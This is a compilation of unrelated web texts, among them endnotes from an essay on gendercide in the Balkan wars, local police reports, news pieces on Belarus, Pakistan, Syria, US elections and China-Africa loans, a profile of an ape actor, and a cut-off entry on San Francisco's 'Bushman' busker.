interesting to note that the cover of Denitch's book is an AP photo captioned as follows: "Sarajevo, Bosnia-Herzegovina, Nov. 10 [1993]. 'Last Farewell.' A man puts his hands on the window of a bus to give his wife and son a last farewell in Sarajevo. More than 1,000 people who have endured months of siege piled onto Red Cross buses in Sarajevo and headed in an often-delayed convoy toward safety in Croatia. Bosnian president Alija Izetbegovic signed an order that all women, boys under 18, and men over 60 could leave." Meaning: who could not?  15. Among the other apparently less "ghastly" acts of gendercide mentioned briefly in the article are the following: "As many as several hundred thousand ethnic Albanian men may have been detained or harmed by Yugoslav government security forces in the past three weeks. ... In the southern Kosovo city of Djakovica ... more than 100 ethnic Albanians were reportedly slain by Interior Ministry troops and paramilitaries. ... Another [n.b.] 112 men were allegedly shot and burned in the southern Kosovo town of Malakrusa ... as many as 200 'military-age' men may have been slain in the northern city of Podujevo ..." At no point in the article, however, is any pattern of gender-selective mass executions discerned.  16. If the allegation of a prisoner being forced to bite off another's testicles seems far-fetched, it should be noted that the charge formed part of the Criminal Tribunal indictment of Dusko Tadi, the director of evening torture sessions at Omarska, captured in Munich and turned over to the Tribunal in 1994. See Junger, 1999: 154. The designation of Omarska as the "most brutal" of the Serb-run death camps is relative, of course. The most famous symbol of Omarska - the emaciated Bosnian prisoner Fikret Ali, who appeared in numerous photographs behind the barbed wire of the camp on liberation day -- was a recent arrival from Keraterm, where, Vulliamy notes, "he had witnessed the murder of 200 men in one night" (Vulliamy, 1998: 74). (On the massacre, see also Silber and Little, 1996: 256, citing "at least 150" as the death-toll.)  17. Helsinki Watch, 1993: 87, 89, and (on the fate of the female detainees) 113, n. 154. One of the female detainees told Helsinki Watch: "Most of the prisoners brought to Omarska were men, ranging in age from fifteen to about fifty-five. They most frequently arrived in a paddy wagon, although some arrived in buses. All were beaten as soon as they emerged from the vehicle. They were then beaten against the wall and thrown into various buildings on the camp grounds. ... We saw the men being tortured. They were beaten with braided cable wires. Pipes filled with lead were also used to beat the men. ... The most traumatic experience for me was to see all the corpses. ... Sometimes there was a lesser number of bodies - twenty or thirty -- but usually there were more" (Helsinki Watch, 1993: 102-03).  18. The "summary executions" and "men missing" references are drawn from Perlez, 1999. In the same story, Perlez quotes "a senior Administration official" who "cited landmark incidents in the Bosnian war -- the massacre at Srebrenica and the use of concentration camps for Muslim men of fighting age -- and said that what was happening now in Kosovo was broader and faster-paced ..." The passage appeared nine paragraphs into the story.  19. I have attempted no broad sampling of broadcast media in this study. But I feel I should point to CNN's Christiane Amanpour as unusual among such media workers in her early attention to the phenomenon of the missing men. Reporting from the refugee camps in Albania on 30 March 1999, Amanpour asked straightforwardly: "Where are the men?" Young men, she said, were notably underrepresented in the refugee convoys: there were "very few men coming out ... the tractor-trailers are full of women and children." Amanpour said she asked the occupants of the refugee convoys about the fate of the men. The answers: some were in hiding, some were joining the fight against the Serbs, and others had been detained and led away to destinations unknown. She referred to "an appalling picture and a consistent picture" of the gender-selective atrocities being committed by the Serbs. This was all tougher and more to-the-point than anything else I saw broadcast at the time.  20. Fisher's article originally ran in The New York Times on 30 May, under the heading: "The Men: Missing Refugees Turn Up With Accounts of Abuse." There is no headline focusing on "The Men" in Kosovo at any point in the two months of Times coverage preceding the mass release from Smrekovnica.  21. See Jones, 1999, and the news coverage I compiled during the crisis.  Created by Adam Jones, 2001. Copyright-cleared for educational and other non-profit use if author and original venue of publication are credited.  adamj_jones@hotmail.com
-Delaware police are investigating a report of indecent exposure after a naked man reportedly was seen near a Delaware business.  Delaware police  Delaware police are investigating a report of indecent exposure after a naked man reportedly was seen near a Delaware business.  Officers responded about 2:15 p.m. June 20 to the 1300 block of Sunbury Road after receiving a report that a naked man was sitting in a car in the business' parking lot. A witness to the incident said the man fled before police arrived on the scene.  No arrests have been made and the case remains under investigation, according to police reports. If the suspect is found, he could face a charge of indecent exposure, a fourth-degree misdemeanor.  In other recent Delaware police reports:  * A rape involving a juvenile victim was reported June 17 at a home near the city's downtown area. A juvenile suspect was arrested in the case, which has been referred to juvenile court, according to police reports.  * Police arrested a Warrensburg man following a burglary that occurred between 11:30 p.m. June 21 and 1:45 a.m. June 22 in the 300 block of East Winter Street. Jack R. Graham, 51, of Ostrander Road was arrested after he allegedly entered the home's basement, according to police reports.  * A man reported someone stole a cigar box and $300 cash from his apartment between 10 a.m. June 16 and 2:30 p.m. June 17 in the 200 block of North Sandusky Street.  * A woman reported she was the victim of a strong-arm robbery shortly after 3 a.m. June 21 in the 200 block of South Liberty Street. She said someone robbed her of a phone valued at $600, a briefcase, keys, the title to a car and Social Security cards, according to police reports.  Sheriff's reports  * A Berlin Township woman said she was conned out of more than $400 recently by two men claiming to be door-to-door meat salesmen.  Delaware County Sheriff's deputies responded shortly before 11 a.m. June 20 to the 2700 block of Berlin Station Road on a report of a theft, according to reports. When they arrived, a woman told them she had agreed to buy one package of meat from two salesmen for $20 on June 11.  The woman said that after she agreed to the purchase, she discovered her credit card had been billed for $455. The case remains under investigation, reports said.  * A Delaware Township man reported a vehicle was stuck in his yard shortly before 5 a.m. June 19 in the 1000 block of Curve Road. After arriving, deputies arrested the driver of the car, who was charged with operating a vehicle while intoxicated, a first-degree misdemeanor.
-What I Remember:  I had a soft spot for Wolverine since I went to the Macy’s Thanksgiving Day Parade when I was very little and as the Marvel float went by, the guy in the Wolverine suit shook my hand. I don’t remember much about this book at all except that I was obsessed with Wolverine’s new black costume.  My only prior experience with Wolverine in the comics was the my uncle’s copies of the 1982 miniseries by Chris Claremont and Frank Miller, which is one of my favorite comic book stories of all time.  Vital Stats:  Wolverine #5 “Hunter’s Moon”  Writer: Chris Claremont  Penciller: John Buscema  Inker: Al Williamson  Letterer: Janice Chiang  Colorist: Glynis Oliver  Editor: Bob Harras  Editor-In-Chief: Tom DeFalco  Publisher: Marvel Comics  Publication Date: March 1989  Cover Price: $1.50  Re-Collection Price: $8.00 at the comic shop at the Quakertown Farmer’s Market  What Happens:
-No profits for Belarus from Russia-EU sanctions  MOSCOW, 8 April (BelTA) – Belarus has incurred losses instead of profits from the mutual sanctions of Russia and the European Union. Belarusian Minister of Foreign Affairs Vladimir Makei made the statement during the press conference in Moscow on 8 April when asked about how much Belarus has earned thanks to Russia's embargo on Western foods, BelTA has learned.  Vladimir Makei underlined that no side ever benefits from sanctions. Solutions should be found via negotiations, he added.  The Minister noted that mass media cannot stop speculating about Belarus allegedly profiteering from the mutual Russia-EU sanctions. “As for how much Belarus has earned thanks to the sanctions, I am sorry to disappoint you. Last year Belarus-Russia trade dropped by nearly 30%,” said Vladimir Makei.  He went on saying that Belarusian food export to Russia has increased a bit since after the sanctions were introduced, Belarus was asked by Russia to help out by selling more food. However, Belarusian food accounts for only 15% of Russia's food import. “We have not saturated the Russian market with Belarusian foods,” noted Vladimir Makei.  Speaking about exotic goods bearing the label “Made in Belarus”, the Belarusian Minister of Foreign Affairs explained once again that if a product has been processed in Belarus to a certain degree, the product is recognized as Belarus-made in line with Belarusian-Russian agreements and those signed within the framework of the Eurasian Economic Union.  Yet Vladimir Makei noted that vendors sometimes resort to shady schemes. Sometimes Russian importers get in bed with Western vendors. Belarus has reported such cases to Russia.  “All in all, Belarus has lost $1 billion due to these sanctions instead of gaining the money,” concluded the Belarusian Minister of Foreign Affairs.
-Ever wondered how movie directors achieve those intimate shots of actors cosying up to apes? Sigourney Weaver managed several close encounters in Gorillas in the Mist, so did Rene Russo in Buddy, and Christopher Lambert made perfect contact in Greystoke: The Legend of Tarzan, Lord of the Apes. Adult gorillas and chimpanzees have a talent for carnage, and prized actors frolicking with real apes is an insurer's nightmare. Enter ape actor, Peter Elliott. For it was Elliott, in animated ape costume, who got to gaze adoringly at Weaver and Russo. Elliott has also choreographed hominids and played one in Jean-Jacques Annaud's 1981 film Quest for Fire.  Before Hugh Hudson's Greystoke in 1979, the apes used in movies were all youngsters. Hudson wanted his chimps to be the size of adult chimps, yet he could not risk the lives of the cast and crew. Auditions for actors to play chimps began and lots of theatrical miming and cliched rib scratching ensued, much to Hudson's dismay. But Elliott, then aged 22 and not long graduated from "method" drama school East 15, had the good sense to visit London Zoo to observe the chimpanzees prior to auditioning.  Elliott's audition had the necessary realism, but with only one actor able to give any depth to his chimp character it became clear to Hudson and the producers that if they didn't want the film to be a comedy, they'd better go back to the story board. Elliott was invited to LA for a further audition, telling his family he'd be gone for a week. But after a meteoric promotion to head of research and development for Greystoke, Elliott remained in the US for another two years. His R&D job took him to Oklahoma to study chimpanzees.  Primatologist Roger Fouts, who went on work with Elliott on Greystoke as a consultant, had worked on the chimp language study Project Washoe. Washoe was a chimp caught in the wild and estimated to be between eight and 14 months old when she arrived in Nevada. She spent her early years living in a house, treated as a surrogate human child and taught by scientists to communicate in American Sign Language. She was reported to combine signs in original, meaningful ways, for example she named the refrigerator, "open food drink", when the psychologists had always referred to it as the "cold box".  When Project Washoe ended in 1970, Washoe and Fouts transferred to Oklahoma's Primate Research Centre. By 1977 Fouts was working on Greystoke and for the purposes of R&D he allowed Elliott to go in with the chimps. "I immediately learned that chimpanzees were emotionally unstable, highly intelligent and incredibly strong," Elliott told me.  "To say that I was amazed by Washoe, Nim, Ali and Mac and the other chimps would be an understatement. I tried to learn sign language, but Washoe realised I didn't understand so she signed extra slowly for me. I remember Washoe was given a purple ball, but she didn't know the sign for purple, so she signed, 'What colour, different red?' On another occasion she signed that she wanted to eat oranges, I told her there were none, then she signed, 'Get car and get some!'  "But I didn't want to sign, I didn't want to make them become human, I wanted to learn from them how to speak chimp. So I started mimicking their behaviour. At Oklahoma I learned all the basic chimp sounds and the five basic faces: the 'concentration face', where the lips are together and the top lip is pushed out with air; the 'pant hoot face', with puckered lips, that's the most famous chimp expression; the aggressive, wide open mouthed 'attack face'; the 'play face', top lip down mouth open; and the 'scream fear grin', mouth shut, with teeth on show."  Elliott told me more about chimpanzee psychology. "My research at Oklahoma was just the beginning of my long journey to understand that great apes and the ape species are all very different. Chimps have high curiosity mixed with a short attention span. They have a whole rhythm to their bodies and they are constantly vigilant, always checking out the social world. They can be deceptive, but they tend to be clear communicators.  "Chimps live in the moment. I was rough-housed by the chimps many times. I used the 'scream fear grin' when I needed to. They frequently tricked me into giving them things they shouldn't have. I learned their body language and communicated with them on their terms and eventually became a player in their hierarchy. One of the most striking anatomical differences between chimps and us is their superior upper body strength: no human can climb the way a chimp can. They were much more gentle with me than they were with each other. I groomed the chimps, ate with the chimps and they accepted me."  In Greystoke, Elliott played Tarzan's adoptive, chimp father, "Silverbeard". But in learning how to be a chimp during his research, Elliott was like Tarzan in reverse. The fictional character undergoes a culturally civilising metamorphosis, leaving his chimpanzee family behind, wherease in real life Elliott was regressing psychologically, becoming more animal and less human. It was time to return to human civilisation.  "Looking back, it was pretty risky letting me go in with them like that. My approach of imitating the chimp's behaviour and becoming intimately physical was completely different from the trainee psychology students' methods. The chimps accepted me on their own terms and the students appeared jealous of the progress I made in communicating with them. I certainly had a lot more fun with the chimps than the scientists did."
-Share:  ISLAMABAD - Pakistan is a sovereign country and it will not ‘take notices’ from any foreign country, Senate Chairman Mian Raza Rabbani said yesterday, in his address to Speaker’s Conference.  “Two days ago, [US vice president Mike] Pence had the gall, the audacity to say that [President] Trump has put Pakistan on notice. Let the word ring out in clear terms that Pakistan is a sovereign state and is not in the habit of taking notices from anyone, let alone the US.”  He added that “Pakistan does not need to take heed of any ‘notice’ from a foreign nation. We will never sacrifice on our basic rights as a sovereign country.”  The chairman said America was apparently trying to shift the blame for its defeat in Afghanistan on to Pakistan, and “it consistently refuses to recognise the sacrifices of the people of Pakistan in the war on terror.”  Rabbani’s daring remarks sent shivers across Pakistan Peoples Party leadership, which was quick to issue a statement saying the Senate chairman was no more a member of the party and his statements were “personal”.  Rabbai, further criticising the US, said that it seemed the United States has pursued a policy of “regime change and bringing about instability in Muslim countries” particularly in the Middle East.  Describing Trump’s decision to shift the US embassy in Tel Aviv to Jerusalem as the “blunder of all blunders”, the chairman said Washington had failed to understand that it is neither supported practically, nor by history in their decision to recognise Jerusalem as Israel’s capital.  He said the UN General Assembly had given a befitting reply to Washington when 128 countries rejected the US move.  “What they [US] fail to recognise is that the recognition of Jerusalem as Israel’s capital will give rise to a new Intifada as the people of Palestine move to achieve their historic rights” he added.  He said a new coalition between US, Israel and India was in the making.”Although Pakistan believes in dialogue and friendly relations with its neighbours, until and unless India is willing to speak on equal terms, we will perhaps just be looking at the mirage of peace in the region,” he added,  Rabbani said it was unfortunate that United Nations has failed to implement its resolutions on Kashmir. “Time has come for Asia to make its own decisions, or else the history will never forgive us” he added.  About the China Pakistan Economic Corridor (CPEC) he said it had the potential to transform the economic fortunes of the region, ushering in a new era of prosperity. He said One Belt One Road (OBOR) project will not only benefit the Pakistan but the whole region.  PPP disowns Rabbani after he roars at US
-If the government isn't spying on you, then why should you care about whether the government follows wiretapping laws?  That's a complicated and much-asked question, one that this reporter totally flubbed on a not-to-be named NPR show that thinks it's cool to pretend that news is hard.  Reason magazine contributing editor Julian Sanchez, however, did much better in print in this Sunday's Los Angeles Times.  After a short history of politically motivated spying – including examples I'd long forgotten or never known, Sanchez explains why spying laws matter, even if you never say anything the spooks would want to hear anyways.  It's probably true that ordinary citizens uninvolved in political activism have little reason to fear being spied on, just as most Americans seldom need to invoke their 1st Amendment right to freedom of speech. But we understand that the 1st Amendment serves a dual role: It protects the private right to speak your mind, but it serves an even more important structural function, ensuring open debate about matters of public importance. You might not care about that first function if you don't plan to say anything controversial. But anyone who lives in a democracy, who is subject to its laws and affected by its policies, ought to care about the second. Harvard University legal scholar William Stuntz has argued that the framers of the Constitution viewed the 4th Amendment as a mechanism for protecting political dissent. In England, agents of the crown had ransacked the homes of pamphleteers critical of the king – something the founders resolved that the American system would not countenance. In that light, the security-versus-privacy framing of the contemporary FISA debate seems oddly incomplete. Your personal phone calls and e-mails may be of limited interest to the spymasters of Langley and Ft. Meade. But if you think an executive branch unchecked by courts won't turn its "national security" surveillance powers to political ends – well, it would be a first.  I've always thought of the importance of the laws as being about the architecture of the spying apparatus.  Meaning that the difference between a democratic regime with unfettered access to the nation's communication tools and an despotic regime with the same access is simply good will.  And good will rarely stops the momentum of a bureaucracy convinced it knows best. Or if you let me, good will is no Hoover dam.  Photo: Hoover dam taken by Minnet Lane.
-Republican vice presidential candidate  Palin's reference was to Bill Ayers, one of the founders of the group the Weather Underground. Its members took credit for bombings, including nonfatal explosions at the Pentagon and U.S. Capitol, during the Vietnam War era.  While Obama and Ayers live in the same Chicago neighborhood, served on two boards and had at least one political connection, it is a stretch of any reading of the public record to say the pair ever palled around. And it's simply wrong to suggest that they were associated while Ayers was committing terrorist acts.  The Republican campaign, falling behind Obama in polls, plans to make attacks on Obama's character a centerpiece of candidate John McCain's message in the final weeks of the presidential race. Coming late in the campaign, Palin's remark could be particularly incendiary, however, and could knock Obama off his focus on the troubled economy.  Palin told a group of donors at a private airport, "Our opponent ... is someone who sees America, it seems, as being so imperfect, imperfect enough, that he's palling around with terrorists who would target their own country." She also said, "This is not a man who sees America as you see America and as I see America."  The Obama campaign called Palin's remarks offensive but not surprising in light of news stories detailing the campaign's come-from-behind offensive.  "What's clear is that John McCain and Sarah Palin would rather spend their time tearing down Barack Obama than laying out a plan to build up our economy," Obama campaign spokesman Hari Sevugan said in a statement.  Palin's remark about Obama "palling around with terrorists" comes as e-mails circulate on the Internet with suggestions that the Democratic candidate is secretly a radical, foreign-born Muslim with designs against the U.S. - even though Obama is a native of Hawaii, a Christian and has no connections to Muslim extremists.  Palin, Alaska's governor, said that donors on a greeting line had encouraged her and McCain to get tougher on Obama. She said an aide then advised her, "Sarah, the gloves are off, the heels are on, go get to them."  The escalated effort to attack Obama's character dovetails with TV ads by outside groups questioning Obama's ties to Ayers, convicted former Obama fundraiser Antoin "Tony" Rezko and Obama's former pastor, the Rev. Jeremiah Wright.  Ayers is a professor at the University of Illinois at Chicago. He and Obama live in Chicago's Hyde Park neighborhood and served together on the board of the Woods Fund, a Chicago-based charity that develops community groups to help the poor. Obama left the board in December 2002.  Obama was the first chairman of the Chicago Annenberg Challenge, a school-reform group of which Ayers was a founder. Ayers also held a meet-the-candidate event at his home for Obama when Obama first ran for office in the mid-1990s.  In an interview with CBS News earlier in the week, Palin didn't name any newspapers or magazines that shaped her view of the world. On Saturday, she cited a New York Times story that detailed Obama's relationship with Ayers.  Summing up its findings, the Times wrote: "A review of records of the schools project and interviews with a dozen people who know both men, suggest that Mr. Obama, 47, has played down his contacts with Mr. Ayers, 63. But the two men do not appear to have been close. Nor has Mr. Obama ever expressed sympathy for the radical views and actions of Mr. Ayers, whom he has called 'somebody who engaged in detestable acts 40 years ago, when I was 8."'  Earlier Saturday, Palin spent 35 minutes at a diner in Greenwood Village where she met with Blue Star Moms, a support group of families whose sons or daughters are serving in the armed forces. Reporters were allowed in the diner for less than five minutes before being ushered out by the campaign.  Palin, whose 19-year-old son, Track, deployed last month as a private with an Army combat team, was overheard at one point commiserating with one of the mothers: "Any time I ask my son how he's doing, he says, 'Mom, I'm in the Army now."'
-Journalist Alex Thomson reports that Syrian rebels set him and his crew up to be killed by Syrian troops in a bid to show Damascus in a negative light.  ­Thomson, a chief correspondent for Channel 4 news, says he and his group were deliberately given incorrect directions by a group of Syrian rebels. As a result, their car entered a free-fire zone, where the road ahead was blocked off, and started receiving shots presumably fired by the Syrian army, who thought the vehicle belonged to rebels.  “Suddenly four men in a black car beckon us to follow,” he wrote on the channel’s website. “We move out behind. We are led another route. Led in fact, straight into a free-fire zone. Told by the Free Syrian Army to follow a road that was blocked off in the middle of no-man’s land."  They then tried to escape the attack by driving onto a nearby side-street, but it turned out to be dead end. Eventually, they returned to the road where the group of rebels had seen them off.  “Predictably the black car was there which had led us to the trap. They roared off as soon as we re-appeared,” Thomson noted.  Thomson said he was sure the rebels were eager to get him and his crew killed in order to have the international community blame Damascus for the death of Western reporters.  “I’m quite clear the rebels deliberately set us up to be shot by the Syrian army. Dead journos are bad for Damascus,” he stated.  Thomson’s mission to Syria was unique in a way, as he was reporting on both sides of the conflict, interviewing both Assad loyalists and rebels. In fact, he was in the country on a legal visa, issued by the Syrian government.  The reported incident comes just days after as many as 78 people were killed in the village of Mazraat al-Qubair in the Hama province. UN monitors that tried to asses the massacre were shot at.  ‘Both sides involved in very dirty tactics’  RT did an extensive interview with Thomson on the details of his ordeal, and the situation in the country in general.  RT: What you are basically saying is that rebel forces set you up to be shot at by the Syrian army?  Alex Thomson: I have no doubt in my mind what happened, nor independently, does the very experienced cameraman I was with, and, perhaps more importantly than that, neither does the driver or the translator we were working with have any doubt at all that we were deliberately led out of that town, which the rebels knew was dangerous. We were led there in a car with four men. Two or three of them were armed. They told us to go down a route which looked dangerous to us, but we trusted them, we said we would go down the route and turn. We turned and found it was blocked. That was a roadblock which they had to have known was there. There was nobody around and at that point we were forced to turn the vehicle around in a free-fire zone and were duly fired upon. We were definitely exposed to a dangerous situation. And I have absolutely no doubt they did it deliberately. When we reappeared, still alive, the car full of men saw us, turned round and drove off at speed.  RT: So the car you were in, the Syrian army had no way to tell that you were foreign journalists?  AT: We did have a small sign in the windscreen saying press. We did not mark the car up with large letters saying TV or anything like that. There were very few journalists in this area. We were the only ones, so I think we were moving under conditions of reasonable safety.  RT: Why did you trust the rebel forces in the first place?  AT: We had no reason not to trust the rebel forces any more than we had any reason not to trust the Syrian army. By and large, when we spoke to Syrian people on both sides of the war, they were pretty honest and pretty straightforward in their assessments of the situation. That was the situation in places like Homs, on both sides, in Houla, on both sides. It was certainly the case on one side in al-Qubair. But when we got to the rebel side of al-Qubair, there was something different and for the first time, we encountered a degree of hostility and suspicion about us, because they had never seen foreign journalists who had a visa from Damascus, who were in the country legally, not illegally. And that immediately aroused suspicion on their part.  RT: So most foreign journalists are there illegally?  AT: That’s a fact. Most foreign, Western journalists who cover the war from the rebel side are smuggled in from Lebanon and so forth illegally to the country. It is very unusual, almost unheard of, to do the kind of things that we were doing, which is to go from Damascus, cross the lines with the Red Cross and Red Crescent, and talk to both sides.  RT: So can it be that your willingness to talk to both sides was the reason why the rebels wanted to set you up?  AT: That’s certainly possibly the case. There was another journalist in al-Qubair, an American freelance photographer, who had been there for some weeks; I don’t imagine that he would have been treated in that kind of way because they would have had a great deal more trust. To be fair to the rebels, you’re not looking at a credible and well-organized army with a very well-organized command and control structure. It was almost like there were groups of different men in the town who controlled different areas, different streets. There was a lot of rivalry. And I think, as much as anything else, we got involved in their turf war, with different groups of soldiers fighting with each other, jostling with each other around our car, not sure what to do with us, not sure how to treat us, not sure quite what we were doing there. We caused a lot of confusion to that extent and they weren’t used to that.  RT: Are there any grounds to believe that the Shabbiha were impersonating the rebels that misled you?  AT: No, I didn’t make a mistake on that. You can argue we made a mistake listening to what these guys were telling us. You can argue we made a mistake leaving site of the UN, although later these guys forced their car between us and the UN, and the UN drove off and left us as they said they would do, I have no problem with that. There is no way that these were some extremist Shabbiha. We were inside the town, in the streets, in areas completely controlled by the Free Syrian Army. They were all FSA people there. The idea that some bizarre could have wandered in to this situation unnoticed is ludicrous.  RT: Couldn’t rebels just kill you themselves and make it look as it was Assad’s forces?  AT: Yeah, of course they could. But in order to do that, the guys who actually did this would have had to physically taken us, probably in another vehicle, in order to do that, because they would have probably not been able to do that with other guys watching. Don’t forget, most of the people who were in that town were very welcoming to us, very helpful, giving interviews. A lot of them were very cool and very relaxed with us. It was just this one group who suddenly decided to do what they did.  RT: So the rebels are not united? Are there different groups doing different things, basically?  AT: Not exactly. What I mean is, you have the regular Free Syrian Army who are organized as you would expect a national army to be organized. They have a coherent command and control structure. They know who is in charge of their unit. That unit knows who is in charge of the area. The area knows who is in charge of the region, and they know who the boss man is. It works. They’re pushed, they’re under stress, they’re losing men, as this is a civil war. It is not the same when you cross to the other side. Clearly you are dealing with a much less coherent force. The only arms I saw them have were sniper rifles, AK-47s, and the very occasional rocket-propelled grenades, so they are not heavily armed. They are deeply motivated. They are prepared to die for their cause, and they are quite clearly giving the Syrian army a run for their money, but in no sense are they organized like a conventional army.  'Dead journalists are bad for Damascus'  RT: Can you elaborate on your statement that dead journalists are bad for Damascus?  AT: My point is, dead journalists are bad for Damascus. When Marie Colvin, the British journalist got killed because she was in a building which was shelled by the Syrian army in Homs, that was an appalling propaganda blow for the Damascus regime. You don’t have to be very clever to work out that the deaths of any journalist at the hands of the Syrian army are going to be an appalling blow, again, for President Assad. That’s going to reflect all the way to Moscow and all the way to Beijing. Clearly that is going to be a bad thing in terms of propaganda. So the motivation for the rebels to pull a stunt like that seems to be very obvious. I’m not angry about it, I’m not upset about it, this is a war and these things will be done. Both sides are involved in very dirty tactics in this war. This is a nasty and dirty war on both sides.  RT: How much violence have you actually seen personally?  AT: I’ve seen dead bodies in Houla which the UN didn’t know about. I’ve seen mass graves of men involved in a fairly extensive firefight close up in the south of Houla. I’ve watched the Syrian army at various distances shelling Homs every single day, shelling Houla almost every single day.  RT: So are Assad’s troops mostly responsible for this violence?  AT: No, it’s a war. Both sides are responsible. I think the Western media is rather naïve because they constantly blame the Syrian army for killing civilians. That’s true because the Syrian army are to blame for shelling civilians, but it’s equally true that the Free Syrian Army is very largely fighting its war in built-up, populated, civilian areas. They're not exactly using civilians as human shields but if you fight in those areas, civilians are going to be killed, and that is a question which is not put to the leaders of the Free Syrian Army with the frequency that it should be, in my opinion.  RT: Is it really possible to investigate who commits atrocities such as the latest Hama massacre?  AT: It’s extremely difficult. For the UN, the answer is probably, no, not really. They don’t have the means to conduct a forensics investigation; they have no equipment, they have no training, they have no expertise to cordon off the area, to treat it as a crime scene. They haven’t the personnel or the time or the resources to make extensive inquiries. For example, when we were in Houla, everybody in Houla says that the militia who came and conducted the massacre in which 108 people died, most of them women and children, came from villages to the west of the town, which are Alawite villages. When we went to those villages, we very quickly realized that nobody had come to those people. Neither the Syrian army in the framework of their investigation that they carried out, nor the United Nations, because the Syrian army and the Syrian government isn’t that interested, but equally, I know the UN do not have the capacity to do it. So the answer to that is no.  RT: So what’s the point of the UN observer mission?  AT: I’m not sure what the point is. But the other thing I should add to that is that blame lies also with the Syrian government, which has denied access to human rights groups who would have a capacity to do an investigation into these things. But equally, they would be going into a war zone where their safety would not be guaranteed by any means. As for the purpose of the United Nations mission, it’s very easy to say that these things are pointless, but I’ve personally witnessed, for instance, the UN setting up local ceasefires. They did one at al-Rastan, for instance, which worked, which made a difference on the ground. A lot of people say that their intervention has made a difference. A lot of people say there is never any shelling when the UN are there, that the shelling only begins when they leave town. Their effect is marginal, but it’s not true to say that their mission is entirely pointless. When you look at Houla, even with the resources at their disposal, the UN did produce a very swift, interim report about what happened there.  RT:You said the UN observers didn’t protect you. Why is that?  AT: Why should they? It’s not their job. It’s not part of their mission. When you follow the UN convoy, the UN make it very clear, they’re not there to protect you. They can’t protect you. They have no weapons. If you get into trouble, you’re on your own. That’s a perfectly reasonable arrangement. I have no problems with that. I have no problems with them observing that we were in trouble, and driving off and leaving us. That’s entirely fair enough.  RT: So you have no protection while you are there?  AT: No, I have no protection.
-CHARLOTTESVILLE, Virginia (Reuters) - The White House says President Barack Obama is not monitoring the Republican national convention this week.  U.S. President Barack Obama talks at a campaign event on the Monfort Quad at Colorado State University in Fort Collins, August 28, 2012. REUTERS/Larry Downing  But the president told several thousand mostly college-age voters on Wednesday that they should be watching the event to help them decide how to vote in the November elections.  “In November, your voice will matter more than ever. And listen, if you doubt that, pay a little attention to what’s happening in Tampa this week,” Obama said.  Campaigning in Charlottesville, Virginia, the Democratic president said his focus was on Hurricane Isaac as it hit the Gulf coast, and he wanted to “make sure we are doing every single thing that we need to do” to help those affected by the storm.  Obama, in several campaign stops this week and in a brief television address, has reminded voters that he is keeping an eye on the storm — a not-so-subtle reference to criticism that his predecessor, George W. Bush, was slow to respond to the devastation of Hurricane Katrina when it hit the same area as Isaac seven years ago.  The president began his speech on Wednesday in Virginia by saying he had just discussed Hurricane Isaac by telephone with the Federal Emergency Management Agency Administrator Craig Fugate and Homeland Security Secretary Janet Napolitano, as well as some of the mayors and governors having to deal with the storm.  It was important, Obama said, to “let people on the coast know, our thoughts are with you, our prayers are with you.”  Floodwater from Hurricane Isaac jumped a levee on the outskirts of New Orleans on Wednesday, but the multi-billion-dollar barriers built to protect the city itself after the 2005 Katrina disaster held firm, officials said.  Later Wednesday, on the online chat site Reddit, Obama also expressed concern about the hurricane. He said the federal government would be coordinating with state and local officials to “make sure that we give families everything they need to recover.”  The lumbering cyclone, which weakened to a tropical storm, threatened to flood oil refineries and towns in Louisiana and neighboring Mississippi with a deluge of rain, storm surges and strong winds.
-Image caption Mr Hu called for better co-operation with African countries  China has pledged $20bn (£12.8bn) in credit for Africa over the next three years, in a push for closer ties and increased trade.  President Hu Jintao made the announcement at a summit in Beijing with leaders from 50 African nations.  He said the loans would support infrastructure, agriculture and the development of small businesses.  The Chinese leader also called for better co-operation with African countries on international affairs.  As developing nations, China and countries in Africa should work better together in response to "the big bullying the small, the strong domineering over the weak and the rich oppressing the poor" in international affairs, said Mr Hu.  The loan is double the amount China pledged in a previous three-year period in 2009, since which time China has been Africa's largest trading partner.  Trade between the two hit a record high of $166bn (£106bn) in 2011, Chinese Commerce Minister Chen Deming wrote in the China Daily newspaper, ahead of the two-day forum.  "We want to continue to enhance our traditional friendship... rule out external interference and enhance mutual understanding and trust," said Mr Hu.  United Nations Secretary General Ban Ki-moon is also attending the fifth ministerial meeting of the Forum on China-Africa Co-operation.  'Balanced development'  On Wednesday, Mr Hu and Premier Wen Jiabao held bilateral talks with key African leaders, including South African President Jacob Zuma.  Africa is an important source of raw materials to feed China's economic boom and a market for cheap Chinese products, and has benefited from huge infrastructure projects in return, says the BBC's Damian Grammaticas.  But there are concerns Beijing turns a blind eye to corruption and claims its firms have committed labour abuses in Zimbabwe, Zambia and elsewhere, our correspondent adds.  Moves by some Chinese enterprises to hire mostly Chinese nationals have also drawn attention.  Mr Wen said that China would now focus on creating jobs for local residents and working with African countries for sustainable growth.  At an economic conference held in conjunction with the summit on Wednesday, he said China would ''expand imports'' of African products and ''further open'' its domestic market to African countries.  ''We need to promote balanced development of trade between China and Africa,'' he said.  He also pledged that China would pay more attention to environmental protection and cultural issues in its dealings with the continent.  ''As for some existing problems and new situations in China-Africa co-operation, the Chinese government is actively working with African countries to seek effective solutions and measures,'' Mr Wen said.
-Johnson involves a passing child in his act  David Johnson, also known as the World Famous Bushman, is a busker who scares passers-by along Fisherman's Wharf in San Francisco, active since 1980. [1] Johnson hides motionless behind some eucalyptus branches and waits for unsuspecting people to wander by. When they approach, he shakes the bush towards the unsuspecting tourists and startles them, sometimes making gruff "oogah-boogah" noises, while in-the-know observers giggle. Crowds gather to watch him work,[2] often including those he has previously scared.[1] The Bushman typically operates toward the western end of the Wharf (at Jefferson and Hyde Streets or thereabouts), well to the west of the Grotto. Johnson used to work with or, at different points in time, as a rival to a second Bushman, Gregory Jacobs, until the death of Jacobs in 2014.[3]  Crowds usually watch Johnson across the street from where he usually sits,[4] to see him entertain people.  In a "good year", Johnson claims to earn $60,000.[5] However, he cited the same figure to one of his victims (after said victim chided him) in 1992. At one point, he employed a bodyguard to protect himself against attacks by the unamused, distract his targets, and to alert him to the approach of elderly people so he could avoid scaring them.[1]  The police have received a number of complaints about the Bushman, and Fisherman's Wharf merchants have tried to shut him down.[6] In 2004, he was charged with four misdemeanors, but a jury cleared him. The District Attorney subsequently dropped several remaining public nuisance complaints.[2]  Although engaging in his street performance utilizing the bush as a prop, as of the mid 1990s, Johnson did not formally refer to himself as "The Bushman" until he was befriended by then Alameda residents John and daughter Alison Nowakowski, who would refer to him as such. Eventually, the name stuck and Johnson adopted the name as his formal street performing moniker.  Two Bushmen [ edit ]  While it is clear that from the 1990s until the death of Gregory Jacobs in 2014, two World Famous Bushmen operated on Fisherman's Wharf both as a team and as 